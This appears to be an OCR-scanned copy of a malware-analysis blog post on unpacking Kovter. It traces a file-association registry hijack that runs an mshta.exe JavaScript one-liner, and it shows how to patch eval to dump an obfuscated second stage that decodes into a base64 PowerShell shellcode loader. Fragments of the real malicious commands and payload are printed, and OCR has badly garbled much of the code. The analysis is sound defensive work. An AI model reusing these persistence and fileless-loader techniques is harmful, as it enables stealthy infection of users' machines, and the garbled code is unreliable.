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40050153DCEEC2C8FBB1912F8EEABE449D1E265F0C8198008BESB34E5403E731

Behaviour analysis



https://ry0dan.github.io/malware%20analysis/unpacking-kovter-malware/

this malware uses a highly sophisticated way of unpacking, I'll be demonstrating how to fully
unpack it and extract the second stage of it.

let’s start by dynamically analysing this sample, fire up ProcMon and execute the sample.

after capturing events with ProcMon, save it to a CSV file and load it to ProcDot, it will look
like this.

this is a lot of output!, what we need to focus on are the red colored event.
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FILE:cusersiremiappdatatlocal@2 9 7\bdfé batp

we see that it dropped a file to disk.

HECUNS oftwarehwBLUTgs GNYYGRL2CGE

—) HECLSoftwaretwiaLUTgsGMNEGwWSP

HEC WS oftwareigyhwinsgicjreovth

HECUSoftwareigxyhwinsgizbrgoviz

and also some weird registry keys created.

let’s first start by navigating to that dropped file’s directory.

¢(C) » Users » REM » AppData » Local » 2297

sl

Marne Date modified Type Size
bdff.bat B/17/2022 8:483 PM  Windows Batch File 1KB
[ d031.2ed62 B/17/2022 8:48 PM 2EDE2 File 31KB

we see two files one of them is a .bat file and the other has a random extension .2ed62.

note: batch files are scripts that contains multiple commands to be executed by the
command line in Windows.

let’'s view the batch file’s contents.

[~ b bat E3 |
| ] start "SMnWCTy¥TilSVFglGwi™ "%LOCALAPPDATA%YWE2974%d031.2ed62™

B}

Registry Activities

the start command will open this file d031.2ed62 but what is the file actually is?. this file is
not even an executable, after some time | realised that this is just a dummy file and the
actual purpose is not to execute it.
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Windows by default when it tries to open any file, it looks for the software that can run the file
in the registry, what we can do now is to open the registry and look for the software or
command that executes .2ed62 extensions.

you can find a list of extensions under HKEY_CURRENT_USER\Software\Classes

B Registry Editor - m} X
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\ Classesh.2edB2

~ [ Computer A || Name Type Data
HKEY_CLASSES_ROOT ab) {Default) REG_SZ 0346

v HKEY_CURREMNT_USER
) AppEvents
App¥BackupContentType
Console
Control Panel
Environment
EUDC
Keyboard Layout
Metwork
Printers
v Software
] 7-Zip
AppDatalow
v Classes

.001
2edb2

we found the extension but what is the value 03467, it is supposed to hold the name of the
software that will open it.

this 0346 is just there for obfuscation purpose and it acts like a pointer (means that you can
find it in the list of extensions).

Computer\HKEY_CURRENT_USER\Software\Classes\0346\shell\open\command

v 0346 * | Name Type Data
" v [ shell 2 (Default) REG_SZ "CAWINDOWS\system32\mshta.exe" “javascript:Cc
~ [ open
command

going down the list of extensions we can see our pointer and it points to mshta.exe followed
by a JavaScript code to execute.

double click on the name and extract the whole command.

[~ scriptjs 4
1 "C:\WINDOWS\system32\mshta.exe" "javascript:Cd25Le="M";
2 L7m=new ActiveXObject("WScript.Shell™);
3 ouevr="eR¥DvsT";
q V0ZOG=L7m.RegRead ("HKCU\\software\\gzyhwinsg\\zbrgoytijz") ;
5 1SK1sZOeP="Fan3A3";
6 eval (VOZOG) ;tVHOO1ImU="VEL" ;"

What pops up into our eyes immediately is the registry key
HKCU\\software\\gxyhwinsg\\zbrqoytjz . it reads the contents and store it in VOZOG variable,
then calls eval function which will execute the script (it needs to be a JS script). So let’s
examine what'’s in that key.
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Name Type Data

=8| (Default) REG S7Z (value not set)

2| cjrvovth REG SZ A£Q.60°0,umiloR-k8t"+%o00eEs<A—-DOAEZBDUI»TL
2tedopwn REG_SZ IWAW3IVtAlegxbJIPX8vFjk=

a5 fpkucmrb REG_SZ JjsWi5dgA9Qs2

awdahd REG_SZ JT4SjZFtV8AZqFgUvIvIHONM2krKAQ=

2t xdzmsoklx REG_SZ dzFBicc/APSWEISKpvBbtvaO3vIV2Gv2GoGMEZAGS
&3 /brgoytjz | REG_SZ MgZ80GqrsxkoMGTVUKMJsUK="igSnUKITW)Ysy

This time if we tried to just double-click it, it won’t work because of the length.

We can use reg_export command line tool instead.
command:

reg_export HKEY_CURRENT_USER\Software\gxyhwinsg zbrqoytjz dumped_scp.js

[ dumped_scp js E3

1 quZBUGqISlkbMGTVUkHJsUk—"qunUkJTWCYsyaECkL
ZULQ!LquO:Ohlekec—"IIG”HZSGLr'5

"OE3D291D2B33363D1C00410302

81B1D5F04382D350B076307 1

fbCoCwSBenS5axGEcZcDt19N™ ; BPiQkDTbSCrG4uWeOvI="rTIYKsl9yfnzghfX7";

] 1065E5733382C365531
TOF34033F340857533D1F€4225365100ES5A64186A2
332 43 F3E§ 350€6674B34013112 1E153540640F056 150E1B3C13059005853142 764€60F760733312A34706A241
'U___GLG L3QQQELE’E'33Q DOB730COF. OA780610076D3E2C310A0ASC23371F10125B2932151903255
Cl30EQOEOF3B31051678001D2B391D0AEC10010 0372551D3D35S6EZA351
€1 33U53EUEUD5E_EEOQGUE 46406 51426TE2C15( 3B2BOBODOD1ETF49460E463A2
2445100300133D795F657D7ES3702303€680F0446750850352 OD3AO0OD1E303
604061B115F65231F2ES51C0A16657B78476B37340 77485C133C2C4B61690B3F062F12431
207293E4A6D131B37310D1B17285F4D 1022C74180A007166021B3B24390F19567F661111520D2
061E2C5F270D37083A23254F20645D220F06345A240106053335690C320735003C4415030F73021E2357153E33281F230
E30631D5322512A78660F0724193325203B24053526300E041 C391E0541 AT78140072643 246BOE0631236032383D22063120010637067
0491BS60D&7013 3406671D7D0351066€6641B06220606093B015S60A1COD34122E372F1A36 S543A23040B33047020365 1A1D01305A331D31160
ASA2D0501302B0S0F2B060132337735065E1B78342F6T7157F1633326B0D1B02222C65S3E060F2401061D022D2F680505340A280F1D1C2612066DSA24345B3
202B00370660002933331032270B08355A0019570254057E3F397725191A123900535D040C4F0E140D051B203211540
320250D3E60607TD3758161A260E2CT743347172BOA3E29060024201C392C604A35307E3B30021F27332B7325530D2F516B027946142C06( 3007320C1
AOC2F335C2CO0F6RA0DS43B1A030B0160072037620S010E35285A0R19212B315A31193F32151F0F06€6017203D153E1806223D1B2E4525530D2F516B0279461
42C060601103007320C1A0C2F335C280E0E2F08152€60F020707643C0C58285B1637344632330B2B0B02251F3C4511090E70064F36090D6333062238052F6
T1CS702540D631D2546 B3AE67571B0O g 1 EO7SBSE06370 SF251E375F1C370B2A313E1BOF3F242C063F0660141
832723E0727253A0D3B5618€61130938783C3ESA1073280300642B1E030320132F1D0504201F0D54001A31143E764A0A3TSB1E1IE166B1ASE3347143439313
5450747050034157803300C3F30045C2537332F67057A3ES050531D1B431873161107123401340C201414023B02340A280F1D1C2 0584€63F360716050
3080DSD063C3530323C294404203F1 1 1 45566331855020703237215042A3B2C38037834161 S0E60E1CT6503B1A1
COB37725E230F601ASB12€BOESE81C321B7631041B0S3C0EQOED 84C1AS5€153E333C7C1EOD3F€B026C022F51500270460D2A1E0301101E1D342€6123E2

CsSC3 1AT00DO TE1ASS1ESE1EQOES75D092C1 1 90D30633B540D23126B02 F232F0
Co9l QHD”D 4271A096B3D1ATC4805620324197( 0C06460B1C320D39153E2 05D0&E
1 0371C43161590D3FSEOD1E7AS31 OB1lA286734231334093E2E0636302B1837147C4C2C572
B3C1 D’h":_ 335="Fu254c53f 26738254R2505¢( 301142F1E1COD3C1625123F170E35110D3A0A1COB2E7370203658161A1D01305A331A143724052D190
1322BO70EQ0€4E151B32112735280F7D363F 464381909€6B66045C082D1ASA0139341D341C2309190D2F1B350E2754030E “34“”“”3-~Ub3u5F“3“E1
A4F322C29300B38533E061A114309197C0C3026150734370B21060667( 1 0 C7C7 0307103038331 16 107E1B4B3
E62607A11642003230E575C34333531 11B06€3F0D05347245373A( 2 1 E372
F1A360111543A24212906067C3831723C18253352411C31 6.2F“A“93--Du-3“"E”Au.-SHG-EZE’D”DEBHEBVESED-E“EQS“SSJ‘D“B--SE ,_DS" 202250
165345C340C2309106B2B060F34054C03151B14075C5A193T061E1E231E0E40321E653F242C521D071A151B05060F001C3177390727037C0D3BSD1S7F131

7642D07755
75B30362€5

139393CO0AZE
_5u

34C771E211D08

27D1A320B720B2E353

the script we extracted looks very hard to analyse, a good thing to start with is to try
searching for any evals.

WUmaoU1dxhQSFE=uMh8vXMbUVORaKbE=" ; uMh8vXMbUVORaKbE<ePelOx0 . length ; uMh8vXMbUVORaKbE++) {
SeCeBT6HBVaK+=String. fromCharCode (ePel0x0. substr (uMhBvXMbUVORaKbE, 1) .charCodeAt () “WNnJR1CcK9.
substr (WUmaOU1ldxhQSFE, 1) .charCodeAt () ) ;WUmaOUldxhQSFE=(WUmaOUldxhQSFE<WNnJR1CcKY9.length-1)?
WUmaOUldxhQSFE+_ : }WYJYCZY1rdCRERbVZ4YStXi="kuX1FHeIWK7094 zgg8HtQawMcs2T04iROtM" ;
EvBmQfxnGldUOrYBis="8jw2ymhSmy8BpzEzjFCx1ppfQNDWtntSElxn9rglon" ;KYtEYTH6kylXWtQMnLE1dYZ=
"3egdMdhepPe fGSuOBCWUnLcuGlH" ;- (SeCeBToHBVaK) ; xBXaBWiVIwPwzaefFWVYUrx=
"BnSLMMOHaXMnfxg20IC5glPCESScYSnkeArdnUhRGEZ" ; QgTCRMcbdK2aAzAcdr9Rg="6WE1LMGCzjPKiJoRcymymf6FM47J"
; SZXKHAWRUGI 3p8nGatwQzZphS="QPwhRioSUOuns30bYbuWtwIsloeMYghj03sMNX" ; Zf8 BEKXpwXVMKsWulXzlmA=
"70A9tiFRz1I20r7NdpJEn" ;uFUMZ6VTLXGJMASNEjc="11hErBakzbJQecMyR1ltnrtEah4Ejl";
rfqGjDK6dzOyWQSntaZlQI="bUaivAp2EtaZcmWIJXNVrcEXxhcCCETP" ; Bl
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and indeed near the end of the code we can see an eval, why is this important?

as we can see this code has alot of numeric data stored which can be another form of JS
scripts that is being decoded and executed.

eval is a the function that will execute any JS script, so rather than spending time analysing
the code (which will be a big pain), we can simply reach the point that it calls eval (obviously
after decoding the payload) and just examine what is passed to eval.

how can we do that?

patching JavaScript code

One of the quick ways is to patch eval and make it print the code to us.
append this code to the top of the script:

oe = eval

eval = function(i){
WScript.Echo(1i);
oe(1i);

run the script with wscript.exe .

Windows Script Host X
2dnuBPCXkG2nCGXpl cRx="wmnR75biVjcaDIPytij)qK7TMBusMHsFuaWm"; 0yjSHjTVjli13sHdzCVeZRRC = "UXzF7I4mbéKNzbijH8v6DGHIISDKHHE d8tDg2xKcox2i® hE. “VOKESpfKXWiii 50tgwslynK3f4Fd";: (uUchUdBﬂTvaleiulQl—'II\4
13nGNnWXdkc3LdxBOC1Zul0Z";ymeWGICHCYsEnHANfyud OK="ZmhQsNdWmQuVGPSOcEqwBKHINh10aEW15b71JHOs";KYIbvdjz¥s OJ4ePeYh="VNIEX24StIRARD4VeVpnMAXRXNBYShjsCFWz2)GpnDVOs*;0 01 ORCVFI= UDITILKNN7V

ZD6";ZdWXZADRIXpQIxubKcV="ZexmSTOR}PB3koloLiuJU4mGwsypSZoAtpFWrHSTS61 " try{moveTo(-100,-100); resizeTo(0,0); ARS=new ActiveXObject("WScript.Shell’); (ARS.Environment( Process ) zgjeat’
([Text.Encoding]::ASCII.GetString([Convert)::FromBase64String( I3ppcXimaGsNCnNsZWVwWKDE1KTt0en 7DQojZ3d4cXd3cA0KZnVuY3Rpb24gZ2RIBGVNYXRIewOKI 3F4eXcNCIBhemFtIChbUGFyYW11dGVYKFBue2I0aWIuPTASTWFUZGFOb3J5PSRUenVIKVOgW1R5cGVb
)(VOgJFBh(mFlZXRI(nMSWT BhcmFtZXRICGNQb3NpdGIvbjOxKVOgW 1R5¢GVdICRSZXR1 (ll\iUQXB\MWhZ\kXSk?DQnJh)(hlanlyd(l)iﬂFREKGV(ﬂWISZGVyW[B(HBEhZlhaWSdQJpDﬂXJyZWSDRG?lYWIuLkRIZm\uZURihmﬂaWNB(jNIbWJS!SgoTII\VBLUQIamVJd(BTE
NOZWOuUm' JShbWU IbGVr i tTeXNOZWOuUm j bWIOLkFze2Vt¥mxSQnVpl j¥2Vzc1060U1bi y.mmva1vZHVsZSnlSWSNZWvaINmebGUlLCRmW\JﬂZSkuRGVmWS
\VHIwZSgiWFhVI|w\QthcBMsUHVlDG\JLFNIVWXIZCbinNpQthcSMsQXVDDDNsYXNlexbUSIszV(Lkl1bHRpVZFldERIbGVnYXRIXSHDQqumtw:ZFkDonVHIwZUJvu xk JU3BIY: b WUsSGIKZUJSUZINLFB 1¥mxpYyls
W1NSdRIbSSSZWZSZWNOaW‘JulkNI‘\bGlpbmdDbZSZZWEOaW‘Ju(‘GGDINUYWSKVJ(JI([CRQYXJhbWVOZ)(JzKSEmRJbXHiZW1IbnthG\vkasVWdlKCJSdWS!)aWW\LEWhbanZWQlKTsNCINhaGprEWJkDonVHIwZUﬂankD(\uRGVmﬂWSITVNOaGBkKCJJhnZvﬂZ
U\LCJQdWJsaWMiSGIkZUJSIJZInLESIﬂlNih}QstIyﬂHthC\SJFJIﬂHVyDIRS(GUs]FEIhthf_ZXR\(nMmewunm ol1) p sTWFuYWdIZCIprOKBIIdnybXpw(QOKtmVOdXJuICRUQ)(EIQr\VthRItlSDththVUEXBIKCkHQOK
13R3ZWR2DQpmdW5jdGIvbiBncHIVY3sNCIN2aGJp cWi4emthDQpQYXIhbSAoW1BhemFtZXRIcil E1hbmRhdGIyeT 1J1ZSIdIFtTdH)pbmddICRND2R1bGUsW1BhemFtZXRICinQb. 1ZSIdIFtTdl RQem
9JZWR1(mUDOwOKIBIrZHRTDwOKJFNS(BRIhUFzCZVIVm)(SPVtB(HBEb2lhaWiﬂOJDDdXNZWSORG9!‘1’Wlulkﬂ\dEFzQWMXnD(MuKXxXaGWZﬂlepWBR?JFBuRZwmFsQ)(NLZWlIbHIDVWNnZSAtQWSk|CRILIO(WZFOBW?ULINWDGIOKCJ:IIIbLT‘FﬂLdeWFSquIUBIz
dGVELmRsbClpfTsNCiNkbmJkaHISDQokVW5zYWZITmF0aXZITWV0aG 9k z0kU3 lzd GVIQXNZZW 1ibHkuR2VOVHIWZS giTW1jcm9zb2Z0LIdp bjMyLIVuc2FmZUSh d GI2ZZU1IdGhwZHMIiKTs N CiN5: iNYNCnJIdHVY ITm FOaXZITWV0aG9kcySHZXRNZXR
0b2QolkdIdFByb2NBZGRyZXNzlikuSW52b2tIKCRudWxsLEAOW1N5c3RIbS5SdW50aW1ILkludGVyb3BTZXJ2aWNIcy5IYW5kb GVSZWZJKES|dy1P¥mplY3QgU31zd GVELL 1bnRpb WUUSWS50ZX JvcFNI cnZp¥2VzLkhhbmRsZVJIZigoTmV3LU9iamVjd CBJbnRQdHIpLCRVbN
NhZmVOYXRpdmVNZXRob2RzLkdIdE1IdGhvZ CgiR2VOTWIkdWxISGFUZGxllikuSW52b2tIKCRudWxsLEAJETVZHVSZSkpKSks)FByb2NIZHVYZSkpO30NCiNvdWNka3hdeW1kDQpbQnl0ZVtdXSAk c2MzMiASIDBANTUs MHg4QiwweEVDLDBAODEsMHhDNCwweDAw
LDB4RKESMHNGRiwweEZGLDBANTMsMHg1Niw8I21ncSM+MHg1Nywwe DUZLDBANTYsMHG1N; EZDLD! DYOLDB4OEIsMF DMwLDB4OEIsME DBDLDB40EIsMHg1MiwweDEOLDB4OEIsMHg3MiwweDI4LDBANKESMHg
%O CwweDUSLDB4MzEsMHhGRiwweDMxLDB4QzAsMHhBQywwe DNDLDB4N)EsMHg3Qywwe DAyLDB4MkMsMHgyMCwwe EMxLDB4Q0YsMHgwRCwweDAxLDB4QzcsMHhFMiww eEYwlL DB4ODEsMHhGRiwwe DVCLDB4QkMsPCNmaCM + MHg0QSwweDZBLDB4
QEISMHg1QSWWEDEWLDB‘IOEISMngMIw&IinIZMNEDﬂLDMREISMHg4DSW\MEDVElDB4RkMSP[N\(HKJP_|B4NUV5P[N4(CM MHgTRSWB\ZIZVIM‘-MHg‘ID,lwwlDh(LDMNDUSMHhwaweDgELDB4NDUiMHIIENCWWED"(LDMNDUSMHH[N(WWED\'ZLDMO
DEsMHgzOCwweDRELDBANUI 'Dg1LDB4ME) DAWLDWj! 1iPj IDAsMHg4QiwweDQ1LD! CyLD| g1MCwweDhCLDB4NDUsMHhENCwweDhCLDB4NDAsMHgzQywweDk5LDBAMDMsMHgwNCwwe
D\OLDBJMTM;MH@Nwa:DlOLDBdMDQsMHMMyww:EMOI.DMMDusMHg405ww:DG1I.DBdRDAsMHnglwweDQlLDMRD MF DM4LD gt M-+MHgwMCwweDAWLDBAMEYsMHg4NSwweEU1LDB4MDEsMHgwMCwweDA
wLDB4OEIsMF QwLDB4OEIsMH ‘wweDc4LDB4MDI EZDLDB40Dk: IDLDB4OI g IDLDB4O! wweDE4LDB40DUsMHhDMCwweDBGLDB4OEMsMHhDQiwweDAxLDBAMDAsPCNydnkjPjB4M
DnsMHgomcwaDg5Lmuor)usMngQ:wwaEzsLDszvanmkmMHnGRmmDMzLDBARysMHmm:Dm LD QYLD 1g1MCuwwe DhCLDW]ZmOjPjB4ND UsMHhDQuwweDhCLDB4NDASMHgyMCuiweDMzLDBARDIsMHg1 Miw
weDUwLDB4O! DB4R’ Dk5LDB4MDI Is} wweDIOLD: /j ] g1NCwweDIOLDBAMDQs o DB4MDg! DAOLDB4MQs! DUOLDB4M]Q: [} wweDgzLDB4QzQs
MHgwOCwweDhCLDB4MD: DRELD! 0 DMSLD DB4NjQsMF DU2LDB4OEQsMI DAOL D%ODESMHQZOCWWEDRDLDB4NJksMHuZM\ww:D(‘llDB‘!NZUSMHgOQ\ww:DhELDBlNDEs
MHgwOCwweDgxLD! g 2MSwweDcylD 1LDwjZm1xiz4weDQwLDB4OEQsMHgOMSwwe DEDLDB4ODAsMHgzO CwweDAwLDEB4NzUsMHgzOCwweDhCLDBANDUsMHhDQywweDhCLDB4NDAsMHgyNCwweDAZLDBANDUsMHh
GQ'wwe[)MzLDw;mev\MweEQrLDB4NTI5MHg1MwaeDhClDBsz‘fsMngMywwaEMwLDB40]’ksMHgwMywweDAoLDBAMJQsMngMywweDUOLDw;aGBJPjMMJOsMngNwa:DgzLDmOsMngO(wBleh(SM MHg2NiwweDhCLDB4MDAsMHg4Qiw
weDU1LDB4Q0OMsMHg4QiwweDUyLDB4AML DU1LD DBACRA;MHhDMSww!EUwLDw]ZmJu\z4weDAleBdMDM§MHhEMwazDhCLDBAMDISMquMywweD(HLDNRkMsMHwOSwweDQILDSAQkMiMHg4MSww!I]
MSLDB4NDcsMHg2N! DeOLDI “"Iq1NIWW!DHELDB4NDESMH§WNCWW DgxLD! 25pYyM- DRCLDB4OEQsMt DA4LDB40DEsMHgzO CwweDYOLDB4ANjQsM
Hg3MiwweDY1LDB4NzUsMHgOMCwweDhELDB4NDEsMHgwRSwweDgwLDB4MzgsMHgwMCwweDc1 LDMMIgSMHg‘l‘Q?WWEDCN LDMMSMHg@IWeDQNLDMﬂHSX\Z4W(DIUlDB‘”“‘" g DLDI 1 'DUyLDB4NTASMHg4Qiw
WEEMZLDMMDMSMHhDMCWWEDKSlDMMDMSMHgWNwa!DIQLDMMTMSMHg1NC\MNQDIDLDMMDQSMHNMWIWQEMDLDB4MDgSMHgZNIwweDhCLDMMDASPCNUG)‘M‘MHQW\WEDU1LDB@MSF‘CNDGYM‘MHg‘inWWEDUleMMLIMSMHgWMyW
weDU1LDE4RKI DB4QzAsMHhD! JwLDI QuLDI DAzLDB4NDUsMHhGQ DB4NDUsMHhCOCwweD gxLDBAMzksPCNuZy M+ MHg1leweDYSLDMNZISMHgSNwaeDﬂLDMNWSMH
n‘Rwa:DQfLDB4MDQ5MHﬂdMSwweDM4LDWJCHQJHBNZUSMHQ2MSwweDZDLDB4NDEsPCNZcCM MHU!NSwweDRCLD‘NJdSMlz4w=DhELDWJ:mN1\l4weDQxLD54MDqsPCNchEJPJVODESMHQIOCWW:DZDI.D 2My Dc
1LDB4NDAsMHg4RCwwe DQxLDBAMEMsMHg4MCww eDMALDwjeHEjPBAMD, 4LDBA0EIsMHg! DLDB4OEIsMHgOMCwweDIOLDBAMDMsMHg! EZDLD DUyLDBANTASMHgAQiwweEM2LDBAMDM
SMHhDMCWWEDIKSLDB‘MDMSMngNwa!DIDLDMMTMSMHg‘NC\MN!DIDLDBﬂMDQSF‘ENIaZg]FﬂBdODMSMHhDNCWwEDMLDBdNJ\’SMHgM]waEDAwLDBJDEISMHg1NSWWEENDLDBJOEISMHQ1MI\MN!DFDLDNMDMSMHQINSWWEHDLDMMEVSMHHCN
yww([MwLDHMIESMHhFM(waDAyLDB4MDMSMHhEMwaEDhCLDBdMD\sMngMyww!DQT LDB4RkMsMHg40SwweDQ1LDB4QTgsMHg4MSwweDMSLDBANDUsMHg30CwweDYSLDB4NZQsMHg3NSwweDYzLDB4OEQsMHOMSwweDAOLDB4ODEsMHg
20CwweDUwLDwjemojPjl 2Rit DYzLD 1g10CwweDhELDB4ND! O CwweDgwLD!I {i] 2NS DcilD g4 wweDQXLDMMDKSMHMMwaeDM4LDB4NZM5MHgiNSvMeDQ4lDB40EQsMHgOMSwweDBBlDB4
ODAsMquOwalDaLDBdNzUsMHqOMwaeDgzLDB4QzEsMHBWQrwweDngDw]bH\3I24w=DMSLDB4MD sM DM4LDB4OEIsMF IDLDB4O! wweDIOLDE4MDI ZDLDI i DUyLDE4NT/
g4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4AMDMsMHgwNCwweDIOLDB4MTMsMHg 1NCwweDIOLDB4MDQsMHg: DB4MDgsPCNIb2IjFjB4N;)! 1g4QiwweDAWLDB40OEIsMHg IDLDwj DhCL NSZCMtMngWw
weDAzLDB4NTUsMHhGQywweDBGLDB4QjcsPCNIYSM + MHhDMCww e EMxLI DAzLDy QwLDB4OE! MLDBANDU!MHI’\GQyww!DqSlDEHNDUsMHhEN(ww(DQZlDEHRk\’iPCNlECM MHg4RCwweDNDLDB4RKYs
MHhGRiwweEZGLDBAMEYsMHg4NSwweDNFLDBARkUsMHhGRiwweEZGLDB4QzYsMHg4N DJGLDB4RKYsM! GLDB4Nj DNiwweDg1LI rlT‘B‘RWSMHg2NwatEMZLDBAODUsMngMSwweEZGLDB‘leVSMHhGRI
weDE2LDBAQEISMHQANS e DMYLDBARKISPCN bGP DIXLDBAQZISMHg D LDI i "lew:DmLDBszQ;m. GLD 20 EM2LDW)Z) Dg1LDB4MzUSMHNG
EZGLD! DB40DUsPCNuaiM-+MHg: LD DMyLDB4Qz¥sMHg: DM3LD EZGLDB4MKUsMHhDNi g1LDI RiwweEZGLD! 2NCwweEM2LDB40DUSM
HgzO: i DZDLDB4Q2 DB4RkYsPCNsZGM;jPj| DZDLD: 2L DB‘IODUSMngQlwweEZGLDMRk i DAWLDE4OEQ: DJGLD! i GLDB4ANTA
sMHhGleweDU|lDB‘leMSMHq4Q\ww=EQ4lDB400UsPC i 1jPj 1g3NSwweDA1LD g wweEZGI.DNNTUSMHhENwaeDgSI.DBdNUQSMHhENwa!DhCLDB“NDUSMHhENwaeDV2LDNODESMHQZOCWWEDRELDNNUESMHHW
RiwweDg1LDB4NEYsMHgwMSwweDAWLDBAMDAsMHg4Qi D DUyLD 1g4Qiwwe DQ1LDB4RDQsMHg4QiwweDQwLDBAMOMsPCNwcWQjPiB40TksMHgwMywwe DAOLD BAMQsMHgxMyw8I2t41z4weDUOLD BAMQsMHgw
NCwweDgzLDB4QzQsMHgwO CwweDgSLDBANDUsSMHhEM CwweDhCLDB4NDUsMHhEMCwweDgxLDB4MzgsMHg1MCwweDQ1LDB4AMDAsMHgwMCwweDBGLDB40DL gyl DAXLDwjY2ts DB4MDAsMHg4QiwweDQ1LDBARDAsMHg4Qiw
thQNLDBJNZgSMngMywwEEMZLDBJODI(SMHQONSWWEENDlDHdDEISMHgONSwwEENDLD840E|SMHgOMwaEDEdlDMUDUSPCNpZZMjPJWASMngR\wwEDthDEMMEQiMngMSwthAwLDBAMDASMHgﬂMwaEDgSLDBAODUSMHgZWWwEEZ
GLDB4RKYsMHhGRiwweDMzLDB4Rj¥sMHg4Qi DUyLD! Ig4QiwweDQ1LDE4Q0MsMH g4Qiwwe DQwLDB4MjAsMHgzMywweEQyLDBANTISPCNuZyM + MHg 1MCwweDhCLDE4QzYsMHhDMSwwe EUwLDB4MDIsMHg5 O Sw
weDAZLDBAMDQsPCNtYyM + MquNwa=DEZLDB4NTQSMHﬂyNwa:DAOI.DE40DMsMHhDNwaeDMI.DMMDMsMngNwa=DIOLDEdMTMsMHgINwaeDIOLDMMDQSMHp-iMywweEMﬂLDB4MDgsMdeOwaeDMLDMMDMsMHhDQIwthngDNMz
ksMHg1MiwweDY1LDB4NjcsMt 1LDB4NL 1g4RCww eDOxLDBAMDQsMHg4MSwweDM4LDBANzAsMHg2NSwweDZFLDBANEIsPCNsbyM 'DUwLDB40OEQsM DA4LDB4ODEsMHgzOCwweDY1LDB4MzksMHgONSwweDcdl
DB4NzUsMHgONSwweDhELDB4NDEsMHgwQywweDgwlDB4MzgsMHgOMSwweD c1LDB4MOQs MHg4R CwweDQxL DBAMEQsMHg4MCwweDM4LDB4MDAsMHg3NSwweDM1 LDNDEIiMHqDNSwweENDLDBJOEIsMHgDMwa!DIOLDMMDMSMHhDMywth
MzLDB4RDIsMHg 1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg50Swwe DAzLDB4MDQsMHgyNCwwe DEzL DBANTQsMH gyNCwweDAOLDB4O DMsMHhDNCwweDAALI ij’ g4QivweDAWLDI g TN DLDB4OEIsMHg1MiwweDFDL

we got what it seems to be some base64 encoded data, let's copy and decode it.
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note: you can’t copy directly from windows script host, so a good way to get this string
is to open:

Process Hacker

wscript.exe Process [go to strings].

find the encoded string and extract it.

Hacker View Tools Users Help
| % Refresh ({3 Options | @ Find handles or DLLs 4% System information | [

3 X

Search Process |

Description
e Memor
eneral Statistics Performance Threads Token Modules Y Environment Handles GPU  Disk %7 Results - wscript.exe (1940) _ o %
- I & System
| Hide free regions -
941 resuts. Session Manager
Base address Type Size Protect... Use Address Length Remit A1 Eond DpCs
z" xlﬁgg ;"V‘“Z e: : 2 USER_SHARED_DATA 0x1b498 148ad4 % XEXaSWAVIWPwzaefFWVYUrx Ker Runtime Process
x riva 0x1b498148b0c 84 BnSLMMOHaXMnfxq20IC5qIPCESSC. .. d -
0x3cb300000 Private 2,048k RW PEB sl
" 0x1b498148b6c 42 QQTCRMcbdK2aAzAcdr9Rg I
0x9cha00000 Private 1,024k8 RW Stack (thread 3316) Ox 1496 19830 = SWELMGCZPIoRcymymfSEMAT] and Controller app
0x3chc00000 Private 1,024k8 RW Stack (thread 2964) Ox1b458148bed e STHHANRUGIIpEGatAQZEhS urity Authority Proce...
0x3cbd00000 Private 1,024kB RW Stack (thread 4764) 0Ox1b498148¢20 7 QPWhRIOSUOLNS30bYbUWtATS 10eM... e Font Driver Host
0x3chf00000 Private 1,024k8 RW Stack (thread 2520) Ox1b498148¢78 2 AKX MKE WX ZimA rver Runtime Process
0x9¢c000000 Private 1,024k8 RW Stack (thread 5444) 1498 148cac 2 J0ASHFRZII20r TNApJEN Logon Application
0x1b494220000  Mapped 64k8 RW Heap (ID 2) Ox1b498148ce0 ] UFUMZEVTLXGIMABNBjC le Font Driver Host
§ y
Ox1b434230000  Private 28K RW 0x1b498148d 10 58 11hErBaKzbIQecMyR LtnrtEah4Ej1 Window Manager
0x1b494240000  Mapped 10oKs R Ox1b498146054 " rfQGIDKEAZOYWQSNtaZIQl
0x1b494260000  Mapped 16k8 R Explorer
0x1b458148d8c 54 blaivAp 2EtaZcmWIIXNVrcExhcCCF 7P Euest Additions T
0x1b494270000  Mapped 48 R ue itions Tra...
0x1b498148f38 44 IJScript - script block
0x1b434280000  Private 4B RW 0x1b498148fc8 106278 oe = evaleval = function()}{WScript... L 2 = (SN <oer.
0x1b494290000 Private 32,772kB RW 0x1b498163bb0 4 MQZB0GArSXKBMGTVUMsUk PowerShell
0x1b496230000  Mapped 788k8 R C:\Windows\System32Yocale.nls Ox1b408153¢28 38 BPIQHDTOSCIGAUWEDVT Window Host
0x1b496370000  Private 3818 RW 0x1b498163¢90 38 ZULQR wdqOrOhmidkec ® Windows Based ...
0x1b496380000 Mapped 12k R C:\Windows\System32\en-US\wsarip... 0x1b498228028 51106 2dnuBPCXKG 2nCEXPICRX="WMIRTS. .. b‘h'
0x1b496390000 Mapped 84kB R C:\Windows\System32\wscript.exe Ox1b458234862 2 [e—
Ox1bA63H0000 | Mapped I8 R Ox1b49823746 2 MSISIP.DLL
0x1b4963c0000  Private 64kE RW Heap (ID 4) Ox1bA982374d4 2 wshext.dl
0x1b4963d0000 Private 4kB8 RW Ox1b49823753¢ 20 HELL32.dIl .
0x1b4963e0000 < S . - < == WEUYILU DAL MNTID I LW WELRZELY
’ iwweEZGLDBARKYSMHG2NCuwe EM2L
Filter Save... Copy sMHhGRiwweEZGLDBARKYsMHg205y

PowerShell Analysis

after extracting the script, we open and see a reference to powershell.exe at the end of the

script.

that means after decoding the base64 data we’ll find a powershell script.



sleep(15);try{

function gdelegate{

Param ([Parameter sition=0,Mandatory )1 [Typelll
[Parameter(Position=1)] [Typel =[Void]);

=[AppDomain]::CurrentDomain.DefineDynamicAssembly( (New-0bject
System.Reflection.AssemblyName("ReflectedDelegate")), -

[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(" InMe
) .DefineType ("’ ","Class,Public,Sealed,AnsiClass,AutoClass"”
[System.MulticastDelegate]);

r

.DefineConstructor("RTSpecialName,HideBySig,Public",
[System.Reflection.CallingConventions]::5tandard,
) .SetImplementationFlags("Runtime,Managed");

.DefineMethod("Invoke","Pu

) .SetImplementationFlags ("R
return .CreateType():}
function gproc{

Param ([Parameter iti dat )1 [String]
[Parameter(Positic 0 | [String] )i

=[AppDomgin]::CurrentDomain.GetAssemblies{]|Where-
Object{s .GlobalAssemblyCache -And .Location.Split("\")[-1].Equals("System.dl1")};

- GEtTYF)e{ "Mic isoft.Win32

return
